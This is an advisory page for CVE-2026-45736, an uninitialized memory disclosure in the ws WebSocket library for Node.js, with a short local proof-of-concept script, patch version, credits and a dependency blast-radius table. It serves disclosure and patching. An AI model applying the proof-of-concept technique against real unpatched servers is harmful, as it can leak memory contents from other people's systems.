CVE-2026-45736
ws: Uninitialized memory disclosure
Description
Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
Patches
The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
- https://github.com/advisories/GHSA-58qx-3vcg-4xpx
- https://www.cve.org/CVERecord?id=CVE-2026-45736
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » wsvia npm ws | >= 8.0.0, < 8.20.1 | 8.20.1 |
| org.webjars.npm » wsvia npm ws | >= 8.0.0, < 8.20.1 | 8.20.1 |
Blast radius
50% of the dependent artifacts (2) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 19 |
| 2 hops | 110 |
Most used dependents
- org.mvnpm » viem17 usages
- org.webjars.npm » ethers2 usages
- org.mvnpm.at.vercel » functions1 usages
- com.chromia.cli.tools » chromia-cli-tools0 usages
Computed from the dependency graph of build 20261204.0837 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-45736 | nvd.nist.gov |
| Package | websockets/ws | github.com |
| Web | websockets/ws advisory GHSA-58qx-3vcg-4xpx | github.com |
| Web | websockets/ws commit c0327ec | github.com |
